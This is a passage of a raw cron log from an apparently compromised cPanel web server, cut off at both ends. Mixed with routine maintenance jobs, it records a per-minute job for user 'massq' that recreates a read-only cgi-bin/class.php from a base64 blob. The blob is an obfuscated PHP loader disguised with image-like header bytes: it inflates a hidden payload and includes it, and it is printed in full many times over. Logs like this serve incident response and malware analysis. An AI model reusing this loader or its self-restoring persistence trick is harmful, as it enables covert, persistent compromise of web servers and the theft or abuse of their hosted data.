bxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:57:01 server CROND[4885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:57:01 server CROND[4886]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 14:58:01 server CROND[4950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:59:01 server CROND[5013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:00:01 server CROND[5089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 15:00:01 server CROND[5090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:00:01 server CROND[5092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:00:01 server CROND[5091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:01:01 server CROND[5363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:01:01 server CROND[5364]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 15:01:01 server run-parts(/etc/cron.hourly)[5364]: starting 0anacron
Apr  8 15:01:01 server run-parts(/etc/cron.hourly)[5376]: finished 0anacron
Apr  8 15:02:01 server CROND[5437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:03:01 server CROND[5505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:04:01 server CROND[5579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:05:01 server CROND[5664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:05:01 server CROND[5665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:05:01 server CROND[5666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:05:01 server CROND[5667]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 15:06:01 server CROND[5839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:07:01 server CROND[5935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:08:01 server CROND[5994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:09:01 server CROND[6074]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 15:09:01 server CROND[6075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:10:01 server CROND[6148]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:10:01 server CROND[6150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9J